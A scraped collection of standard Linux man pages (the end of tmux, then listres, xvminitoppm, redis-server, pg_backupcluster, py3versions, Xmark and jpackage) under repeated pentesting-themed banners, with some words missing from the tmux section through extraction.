The current working directory to be set in the global environment. This may be useful if it contains symbolic links. If the value of the variable does not match the current working directory, the variable is ignored and the result of

is used instead.

The absolute path to the default shell for new windows. See the

option for details.

The parent directory of the directory containing the server sockets. See the

option for details.

If the command specified in this variable contains the string

use vi-style key bindings. Overridden by the

and

options.

Default

configuration file.

System-wide configuration file.

To create a new

session running

Most commands have a shorter form, known as an alias. For new-session, this is

Alternatively, the shortest unambiguous form of a command is accepted. If there are several options, they are listed:

$ tmux n ambiguous command: n, could be: new-session, new-window, next-window

Within an active session, a new window may be created by typing

(Ctrl followed by the

key followed by the

key).

Windows may be navigated with:

(to select window 0),

(to select window 1), and so on;

to select the next window; and

to select the previous window.

A session may be detached using

(or by an external event such as

disconnection) and reattached with:

Typing

lists the current key bindings in the current window; up and down may be used to navigate the list or

to exit from it.

Commands to be run when the

server is started may be placed in the

configuration file. Common examples include:

Changing the default prefix key:

set-option -g prefix C-a unbind-key C-b bind-key C-a send-prefix

Turning the status line off, or changing its colour:

set-option -g status off set-option -g status-style bg=blue

Setting other options, such as the default command, or locking after 30 minutes of inactivity:

set-option -g default-command “exec /bin/ksh” set-option -g lock-after-time 1800

Creating new key bindings:

bind-key b set-option status bind-key / command-prompt “split-window ’exec man %%’” bind-key S command-prompt “new-window -n %1 ‘ssh %1’”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1557 - Linux cli command listres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command listres and provides detailed information about the command listres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the listres.

NAME 🖥️ listres 🖥️

list resources in widgets

SYNOPSIS

listres [-option …]

DESCRIPTION

The listres program generates a list of a widget’s resource database. The class in which each resource is first defined, the instance and class name, and the type of each resource is listed. If no specific widgets or the -all switch are given, a two-column list of widget names and their class hierarchies is printed.

OPTIONS

Listres accepts all of the standard toolkit command line options along with those listed below:

-all
This option indicates that listres should print information for all known widgets and objects.

-nosuper
This option indicates that resources that are inherited from a superclass should not be listed. This is useful for determining which resources are new to a subclass.

-variable
This option indicates that widgets should be identified by the names of the class record variables rather than the class name given in the variable. This is useful for distinguishing subclasses that have the same class name as their superclasses.

-top name
This option specifies the name of the widget to be treated as the top of the hierarchy. Case is not significant, and the name may match either the class variable name or the class name. The default is ``core’'.

-format printf-string
This option specifies the printf-style format string to be used to print out the name, instance, class, and type of each resource.

X DEFAULTS

To be written.

SEE ALSO

X(7), xrdb(1), appropriate widget documents

BUGS

On operating systems that do not support dynamic linking of run-time routines, this program must have all of its known widgets compiled in. The sources provide several tools for automating this process for various widget sets.

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1558 - Linux cli command xvminitoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xvminitoppm and provides detailed information about the command xvminitoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xvminitoppm.

.

NAME 🖥️ xvminitoppm 🖥️

convert an XV “thumbnail” picture to PPM

SYNOPSIS

xvminitoppm

[xvminipic]

DESCRIPTION

This program is part of Netpbm(1) .

xvminittoppm reads an XV “thumbnail” picture (a miniature picture generated by the “VisualSchnauzer” browser) as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for xvminitoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamtoxvmini(1) , ppm(1) , xv manual

HISTORY

A program of this name was written in 1993 by Ingo Wilken and was part of Netpbm until Release 10.34 (April 2006). At that time, it was replaced in Netpbm by the current program, which was written by Bryan Henderson. The function of the newer program is identical to that of the older one; the reason for the replacement is that the newer one is easier to maintain.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/xvminitoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1559 - Linux cli command redis-server

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command redis-server and provides detailed information about the command redis-server, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the redis-server.

NAME 🖥️ redis-server 🖥️

server - Persistent key-value database

SYNOPSIS

redis-server configfile

DESCRIPTION

Redis is a key-value database. It is similar to memcached but the dataset is not volatile and other datatypes (such as lists and sets) are natively supported.

OPTIONS

configfile
Read options from specified configuration file.

NOTES

On Debian GNU/Linux systems, redis-server is typically started via the /etc/init.d/redis-server initscript, not manually. This defaults to using /etc/redis/redis.conf as a configuration file.

AUTHOR

redis-server was written by Salvatore Sanfilippo.

This manual page was written by Chris Lamb <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1560 - Linux cli command pg_backupcluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_backupcluster and provides detailed information about the command pg_backupcluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_backupcluster.

NAME 🖥️ pg_backupcluster 🖥️

simple pg_basebackup and pg_dump front-end

SYNOPSIS

pg_backupcluster [options] version cluster action

DESCRIPTION

pg_backupcluster provides a simple interface to create PostgreSQL cluster backups using pg_basebackup (1) and pg_dump (1).

To ease integration with systemd operation, the alternative syntax “pg_basebackup version**-**cluster action” is also supported.

ACTIONS

createdirectory
Create /var/backups and /var/backups/version-cluster. This action can be run as root to create the directories required for backups. All other actions will also attempt to create the directories when missing, but can of course only do that when running as root. They will switch to the cluster owner after this step.

basebackup
Backup using pg_basebackup (1). The resulting basebackup contains the WAL files required to run recovery on startup.

dump
Backup using pg_dump (1). Global objects (users, tablespaces) are dumped using pg_dumpall (1) –globals-only. Individual databases are dumped into PostgreSQL’s custom format.

expirebasebackups N
Remove all but last the N basebackups.

expiredumps N
Remove all but last the N dumps.

receivewal
Launch pg_receivewal. WAL files are gzip-compressed in PG 10+.

compresswal
Compress WAL files in archive.

archivecleanup
Remove obsolete WAL files from archive using pg_archivecleanup (1).

list
Show dumps, basebackups, and WAL, with size.

OPTIONS

-c –checkpoint=spread|fast
Passed to pg_basebackup. Default is spread.

-k –keep-on-error
Keep faulty backup directory on error. By default backups are delete on error.

-v –verbose
Verbose output, even when not running on a terminal.

FILES

/var/backups
Default root directory for cluster backup directories.

/var/backups/version-cluster
Default directory for cluster backups.

/var/backups/version-cluster/timestamp.basebackup
Backup from pg_backupcluster … basebackup.

config.tar.gz
Tarball of cluster configuration directory (postgresql.conf, pg_hba.conf, …) in /etc/postgresql.

tablespace.tar.gz, pg_wal.tar.gz, backup_manifest
Tablespace and WAL tarballs and backup info written by pg_basebackup.

status
Completion timestamp of backup run.

/var/backups/version-cluster/timestamp.dump
Backup from pg_backupcluster … dump.

config.tar.gz
Tarball of cluster configuration directory (postgresql.conf, pg_hba.conf, …) in /etc/postgresql.

createcluster.opts
Options (encoding, locale, data checksums) to be passed to pg_createcluster for restoring this cluster.

globals.sql
Global objects (roles, tablespaces) from pg_dumpall –globals-only.

databases.sql
SQL commands to create databases and restore database-level options.

database.dump
Database dumps from pg_dump –format=custom.

status
Completion timestamp of backup run.

/var/backups/version-cluster/wal
WAL files from pg_receivewal.

CAVEATS

For dump-style backups, not all properties of the original cluster are preserved:

  • In PostgreSQL 10 and earlier, ALTER ROLE … IN DATABASE is not supported.

  • Not all initdb options are carried over. Currently supported are –encoding, –lc-collate, –lc-collate, and -k –data-checksums.

The earliest PostgreSQL version supported for dumps is 9.3. For basebackups, the earliest supported version is 9.1. receivewal (and hence archive recovery) are supported in 9.5 and later.

SEE ALSO

pg_restorecluster (1), pg_dump (1), pg_dumpall (1), pg_basebackup (1), pg_receivewal (1), pg_archivecleanup (1).

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1561 - Linux cli command py3versions

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3versions and provides detailed information about the command py3versions, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3versions.

NAME 🖥️ py3versions 🖥️

print python3 version information

SYNOPSIS

py3versions [-h] [-v] [<options>]

DESCRIPTION

py3versions prints information about installed, supported python3 runtimes, the default runtime, and parses the information of the PythonVersion fields in the package control file for Python3.

OPTIONS

-d, –default
Show the default python3 version.

-s, –supported
Show the supported python3 versions. List is lowest version to highest version with the default version last (e.g. python3.4 python3.6 python3.5 if python3.4, 3.5, and 3.6 are supported, but python3.5 is the default python3).

-r, –requested [<version string>|<control file>]
Reads the value of the X-Python3-Version field in the source section of a control file and shows all matching python3 versions. The parameter is interpreted as a version string, if it is not the name of a file. If the X-Python3-Version field is missing, it will fall back to list the supported Python3 versions after checking debian/control. Versions less than 3 are ignored. The keyword all is ignored because it covers all Python2 versions. The former keyword current is not supported at all in Python3. Uses the same sort order as the -s, –supported option.

-i, –installed
Show the installed supported python3 versions.

–min-supported
Show the minimum supported python3 version.

–max-supported
Show the maximum supported python3 version.

-v, –version
Limit the output to the version numbers of the python3 versions.

-h, –help
Print a help text.

SEE ALSO

Python policy.

AUTHOR

Matthias Klose

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1562 - Linux cli command Xmark

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xmark and provides detailed information about the command Xmark, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xmark.

NAME 🖥️ Xmark 🖥️

summarize x11perf results

SYNTAX

Xmark datafile

DESCRIPTION

Xmark is a shell script that reads the indicated datafile and compiles a benchmark which it writes to standard output. It writes three numbers:

A weighted performance number for the x11perf results.

A weighted performance number for a standard SparcStation 1, with SunOS 4.1.2, X11R5 Xsun, and a CG3 dumb Color Frame Buffer.

The Xmark, which is the ratio of the two numbers above.

The datafile must be an ordinary file, produced by x11perf in the following way:

**x11perf -display display -v1.3 -rop GXcopy GXxor -all > **datafile

It is possible to run the GXcopy and GXxor tests separately, as long as they are concatenated to the same output file:

x11perf -display display -v1.3 -rop GXcopy -all > datafile
x11perf -display display -v1.3 -rop GXxor -all >> datafile

or

x11perf -display display -v1.3 -rop GXxor -all > datafile
x11perf -display display -v1.3 -rop GXcopy -all >> datafile

FILES

temp.$$
Temporary file created in the current directory, deleted after use.

DIAGNOSTICS

Usage: Xmark datafile
Xmark was invoked without arguments or with more than one argument, or with options. Xmark takes no options.

Error: data file does not exist or is not ordinary.
Xmark cannot find the datafile named on its command line, or the datafile is a special file such as a directory.

WARNING: datafile contains nnn, not 441 or 447 ’trep’ results;
The file named on the command line does not seem to be a file generated by x11perf in the expected way.

Diagnostic: ERROR: sum of weights =nnn, not equal to 4566.0;
There is an internal error in Xmark.

SEE ALSO

X(7), x11perf(1), x11perfcomp(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1563 - Linux cli command jpackage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpackage and provides detailed information about the command jpackage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpackage.

NAME 🖥️ jpackage 🖥️

tool for packaging self-contained Java applications.

SYNOPSIS

jpackage [options]

options
Command-line options separated by spaces. See jpackage Options.

DESCRIPTION

The jpackage tool will take as input a Java application and a Java run-time image, and produce a Java application image that includes all the necessary dependencies. It will be able to produce a native package in a platform-specific format, such as an exe on Windows or a dmg on macOS. Each format must be built on the platform it runs on, there is no cross-platform support. The tool will have options that allow packaged applications to be customized in various ways.

JPACKAGE OPTIONS

Generic Options:

@filename
Read options from a file.

This option can be used multiple times.

–type or -t type
The type of package to create

Valid values are: {“app-image”, “exe”, “msi”, “rpm”, “deb”, “pkg”, “dmg”}

If this option is not specified a platform dependent default type will be created.

–app-version version
Version of the application and/or package

–copyright copyright
Copyright for the application

–description description
Description of the application

–help or -h
Print the usage text with a list and description of each valid option for the current platform to the output stream, and exit.

–icon path
Path of the icon of the application package

(absolute path or relative to the current directory)

–name or -n name
Name of the application and/or package

–dest or -d destination
Path where generated output file is placed

(absolute path or relative to the current directory).

Defaults to the current working directory.

–temp directory
Path of a new or empty directory used to create temporary files

(absolute path or relative to the current directory)

If specified, the temp dir will not be removed upon the task completion and must be removed manually.

If not specified, a temporary directory will be created and removed upon the task completion.

–vendor vendor
Vendor of the application

–verbose
Enables verbose output.

–version
Print the product version to the output stream and exit.

Options for creating the runtime image:

–add-modules module-name [,module-name…]
A comma (",") separated list of modules to add

This module list, along with the main module (if specified) will be passed to jlink as the –add-module argument. If not specified, either just the main module (if –module is specified), or the default set of modules (if –main-jar is specified) are used.

This option can be used multiple times.

–module-path or -p module-path [,module-path…]
A File.pathSeparator separated list of paths

Each path is either a directory of modules or the path to a modular jar, and is absolute or relative to the current directory.

This option can be used multiple times.

–jlink-options options
A space separated list of options to pass to jlink

If not specified, defaults to “–strip-native-commands –strip-debug –no-man-pages –no-header-files”

This option can be used multiple times.

–runtime-image directory
Path of the predefined runtime image that will be copied into the application image

(absolute path or relative to the current directory)

If –runtime-image is not specified, jpackage will run jlink to create the runtime image using options specified by –jlink-options.

Options for creating the application image:

–input or -i directory
Path of the input directory that contains the files to be packaged

(absolute path or relative to the current directory)

All files in the input directory will be packaged into the application image.

–app-content additional-content [,additional-content…]
A comma separated list of paths to files and/or directories to add to the application payload.

This option can be used more than once.

Options for creating the application launcher(s):

–add-launcher name=path
Name of launcher, and a path to a Properties file that contains a list of key, value pairs

(absolute path or relative to the current directory)

The keys “module”, “main-jar”, “main-class”, “description”, “arguments”, “java-options”, “app-version”, “icon”, “launcher-as-service”, “win-console”, “win-shortcut”, “win-menu”, “linux-app-category”, and “linux-shortcut” can be used.

These options are added to, or used to overwrite, the original command line options to build an additional alternative launcher. The main application launcher will be built from the command line options. Additional alternative launchers can be built using this option, and this option can be used multiple times to build multiple additional launchers.

–arguments arguments
Command line arguments to pass to the main class if no command line arguments are given to the launcher

This option can be used multiple times.

–java-options options
Options to pass to the Java runtime

This option can be used multiple times.

–main-class class-name
Qualified name of the application main class to execute

This option can only be used if –main-jar is specified.

–main-jar main-jar
The main JAR of the application; containing the main class (specified as a path relative to the input path)

Either –module or –main-jar option can be specified but not both.

–module or -m module-name[/main-class]
The main module (and optionally main class) of the application

This module must be located on the module path.

When this option is specified, the main module will be linked in the Java runtime image. Either –module or –main-jar option can be specified but not both.

Platform dependent option for creating the application launcher:

Windows platform options (available only when running on Windows):

–win-console
Creates a console launcher for the application, should be specified for application which requires console interactions

macOS platform options (available only when running on macOS):

–mac-package-identifier identifier
An identifier that uniquely identifies the application for macOS

Defaults to the main class name.

May only use alphanumeric (A-Z,a-z,0-9), hyphen (-), and period (.) characters.

–mac-package-name name
Name of the application as it appears in the Menu Bar

This can be different from the application name.

This name must be less than 16 characters long and be suitable for displaying in the menu bar and the application Info window. Defaults to the application name.

–mac-package-signing-prefix prefix
When signing the application package, this value is prefixed to all components that need to be signed that don’t have an existing package identifier.

–mac-sign
Request that the package or the predefined application image be signed.

–mac-signing-keychain keychain-name
Name of the keychain to search for the signing identity

If not specified, the standard keychains are used.

–mac-signing-key-user-name name
Team or user name portion in Apple signing identities

–mac-app-store
Indicates that the jpackage output is intended for the Mac App Store.

–mac-entitlements path
Path to file containing entitlements to use when signing executables and libraries in the bundle

–mac-app-category category
String used to construct LSApplicationCategoryType in application plist

The default value is “utilities”.

Options for creating the application package:

–about-url url
URL of the application’s home page

–app-image directory
Location of the predefined application image that is used to build an installable package (on all platforms) or to be signed (on macOS)

(absolute path or relative to the current directory)

–file-associations path
Path to a Properties file that contains list of key, value pairs

(absolute path or relative to the current directory)

The keys “extension”, “mime-type”, “icon”, and “description” can be used to describe the association.

This option can be used multiple times.

–install-dir path
Absolute path of the installation directory of the application (on macOS or linux), or relative sub-path of the installation directory such as “Program Files” or “AppData” (on Windows)

–license-file path
Path to the license file

(absolute path or relative to the current directory)

–resource-dir path
Path to override jpackage resources

(absolute path or relative to the current directory)

Icons, template files, and other resources of jpackage can be over-ridden by adding replacement resources to this directory.

–runtime-image path
Path of the predefined runtime image to install

(absolute path or relative to the current directory)

Option is required when creating a runtime installer.

–launcher-as-service
Request to create an installer that will register the main application launcher as a background service-type application.

Platform dependent options for creating the application package:

Windows platform options (available only when running on Windows):

–win-dir-chooser
Adds a dialog to enable the user to choose a directory in which the product is installed.

–win-help-url url
URL where user can obtain further information or technical support

–win-menu
Request to add a Start Menu shortcut for this application

–win-menu-group menu-group-name
Start Menu group this application is placed in

–win-per-user-install
Request to perform an install on a per-user basis

–win-shortcut
Request to create a desktop shortcut for this application

–win-shortcut-prompt
Adds a dialog to enable the user to choose if shortcuts will be created by installer

–win-update-url url
URL of available application update information

–win-upgrade-uuid id
UUID associated with upgrades for this package

Linux platform options (available only when running on Linux):

–linux-package-name name
Name for Linux package

Defaults to the application name.

–linux-deb-maintainer email-address
Maintainer for .deb bundle

–linux-menu-group menu-group-name
Menu group this application is placed in

–linux-package-deps
Required packages or capabilities for the application

–linux-rpm-license-type type
Type of the license (“License: value” of the RPM .spec)

–linux-app-release release
Release value of the RPM <name>.spec file or Debian revision value of the DEB control file

–linux-app-category category-value
Group value of the RPM /.spec file or Section value of DEB control file

–linux-shortcut
Creates a shortcut for the application.

macOS platform options (available only when running on macOS):

–mac-dmg-content additional-content [,additional-content…]
Include all the referenced content in the dmg.

This option can be used more than once.

JPACKAGE EXAMPLES

Generate an application package suitable for the host system:

For a modular application:
    jpackage -n name -p modulePath -m moduleName/className
For a non-modular application:
    jpackage -i inputDir -n name \
        --main-class className --main-jar myJar.jar
From a pre-built application image:
    jpackage -n name --app-image appImageDir

Generate an application image:

For a modular application:
    jpackage --type app-image -n name -p modulePath \
        -m moduleName/className
For a non-modular application:
    jpackage --type app-image -i inputDir -n name \
        --main-class className --main-jar myJar.jar
To provide your own options to jlink, run jlink separately:
    jlink --output appRuntimeImage -p modulePath \
        --add-modules moduleName \
        --no-header-files [<additional jlink options>...]
    jpackage --type app-image -n name \
        -m moduleName/className --runtime-image appRuntimeImage

Generate a Java runtime package:

jpackage -n name --runtime-image <runtime-image>

Sign the predefined application image (on macOS):

jpackage --type app-image --app-image <app-image> \
    --mac-sign [<additional signing options>...]

Note: the only additional options that are permitted in this mode are:
      the set of additional mac signing options and --verbose

JPACKAGE RESOURCE DIRECTORY

Icons, template files, and other resources of jpackage can be over-ridden by adding replacement resources to this directory. jpackage will lookup files by specific names in the resource directory.

Resource directory files considered only when running on Linux:

<launcher-name>.png
Application launcher icon

Default resource is JavaApp.png

<launcher-name>.desktop
A desktop file to be used with xdg-desktop-menu command

Considered with application launchers registered for file associations and/or have an icon

Default resource is template.desktop

Resource directory files considered only when building Linux DEB/RPM installer:

<package-name>-<launcher-name>.service
systemd unit file for application launcher registered as a background service-type application

Default resource is unit-template.service

Resource directory files considered only when building Linux RPM installer:

<package-name>.spec
RPM spec file

Default resource is template.spec

Resource directory files considered only when building Linux DEB installer:

control
Control file

Default resource is template.control

copyright
Copyright file

Default resource is template.copyright

preinstall
Pre-install shell script

Default resource is template.preinstall

prerm
Pre-remove shell script

Default resource is template.prerm

postinstall
Post-install shell script

Default resource is template.postinstall

postrm
Post-remove shell script

Default resource is template.postrm

Resource directory files considered only when running on Windows:

<launcher-name>.ico
Application launcher icon

Default resource is JavaApp.ico

<launcher-name>.properties
Properties file for application launcher executable

Default resource is WinLauncher.template

Resource directory files considered only when building Windows MSI/EXE installer:

<application-name>-post-image.wsf
A Windows Script File (WSF) to run after building application image

main.wxs
Main WiX project file

Default resource is main.wxs

overrides.wxi
Overrides WiX project file

Default resource is overrides.wxi

service-installer.exe
Service installer executable

Considered if some application launchers are registered as background service-type applications

<launcher-name>-service-install.wxi
Service installer WiX project file

Considered if some application launchers are registered as background service-type applications

Default resource is service-install.wxi

<launcher-name>-service-config.wxi
Service installer WiX project file

Considered if some application launchers are registered as background service-type applications

Default resource is service-config.wxi

InstallDirNotEmptyDlg.wxs
WiX project file for installer UI dialog checking installation directory doesn’t exist or is empty

Default resource is InstallDirNotEmptyDlg.wxs

ShortcutPromptDlg.wxs
WiX project file for installer UI dialog configuring shortcuts

Default resource is ShortcutPromptDlg.wxs

bundle.wxf
WiX project file with the hierarchy of components of application image

ui.wxf
WiX project file for installer UI

Resource directory files considered only when building Windows EXE installer:

WinInstaller.properties
Properties file for the installer executable

Default resource is WinInstaller.template

<package-name>-post-msi.wsf
A Windows Script File (WSF) to run after building embedded MSI installer for EXE installer

Resource directory files considered only when running on macOS:

<launcher-name>.icns
Application launcher icon

Default resource is JavaApp.icns

Info.plist
Application property list file

Default resource is Info-lite.plist.template

Runtime-Info.plist
Java Runtime property list file

Default resource is Runtime-Info.plist.template

<application-name>.entitlements
Signing entitlements property list file

Default resource is sandbox.plist

Resource directory files considered only when building macOS PKG/DMG installer:

<package-name>-post-image.sh
Shell script to run after building application image

Resource directory files considered only when building macOS PKG installer:

uninstaller
Uninstaller shell script

Considered if some application launchers are registered as background service-type applications

Default resource is uninstall.command.template

preinstall
Pre-install shell script

Default resource is preinstall.template

postinstall
Post-install shell script

Default resource is postinstall.template

services-preinstall
Pre-install shell script for services package

Considered if some application launchers are registered as background service-type applications

Default resource is services-preinstall.template

services-postinstall
Post-install shell script for services package

Considered if some application launchers are registered as background service-type applications

Default resource is services-postinstall.template

<package-name>-background.png
Background image

Default resource is background_pkg.png

<package-name>-background-darkAqua.png
Dark background image

Default resource is background_pkg.png

product-def.plist
Package property list file

Default resource is product-def.plist

<package-name>-<launcher-name>.plist
launchd property list file for application launcher registered as a background service-type application

Default resource is launchd.plist.template

Resource directory files considered only when building macOS DMG installer:

<package-name>-dmg-setup.scpt
Setup AppleScript script

Default resource is DMGsetup.scpt

<package-name>-license.plist
License property list file

Default resource is lic_template.plist

<package-name>-background.tiff
Background image

Default resource is background_dmg.tiff

<package-name>-volume.icns
Volume icon

Default resource is JavaApp.icns

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
